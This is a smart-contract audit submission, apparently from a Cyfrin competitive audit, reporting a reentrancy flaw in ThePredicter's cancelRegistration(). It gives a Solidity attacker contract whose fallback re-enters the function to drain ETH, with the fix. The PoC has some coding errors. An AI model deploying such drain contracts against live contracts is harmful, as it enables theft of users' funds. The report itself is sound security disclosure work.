First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in cancelRegistration() from ThePredictor.sol

0xziin

Summary

Reentrancy attack in cancelRegistration() from ThePredictor.sol : Risk = High

https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L64

If msg.sender is a contract, a user can use cancelRegistration() to drain all eth in the contract with a reentrancy attack.

Vulnerability Details

Let's create a contract that is going to be a user that will pay the entrance fee to be registered as a user but right after is going to cancel the registration.
If this contract has a fallback function that recalls the cancelRegistration() function in a loop, then it can drain/steal eth from the game's contract.

Proof Of Concept

The attacker contract is as follow :

interface IThePredictor {
​
function register() public payable;
function cancelRegistration() public;
​
}
​
contract AttackerContract {
​
address predictorContract;
IThePredictor PC = IThePredictor(predictorContract);
​
constructor(address _predictorAddress) {
predictorContract = _predictorAddress;
}
​
function registerUser() public payable {
//register with entranceFee = 10
PC.register{value: 10}();
}
​
function attackPredictor() public {
//ask to give back your entranceFee
PC.cancelRegistration();
}
​
getContractBalance() public view returns(uint256) {
return address(this).balance;
}
​
fallback() payable {
//let steal 10 times the fee amount from the contract, just to prove our point
for(uint256 i; i < 10; i++) {
PC.cancelRegistration();
}
}
}

  1. First Deploy the game's contract setting entranceFee to 10. Give the contract 1 eth for this example.

  2. Deploy the attackerContract passing the predictorAddress in the parameter.

  3. execute registerUser() with entranceFee
    Then execute the attackPredictor() function.

  4. Check the balance of our attacker contract to verify that we indeed stole 10 times entranceFee.

Impact

Stealing ETH from the contract. High impact.

Tools Used

Brain, VisualCode & Foundry.

Recommendations

Mitigation

2 possibilities :
- Add a nonReentrant modifier to avoid reentering the cancelRegistration() function
- Or cancel the status of the user BEFORE sending eth, by replacing these lines of code (L64-66):
https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L64-L66

(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;

-> by these lines of code :

playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.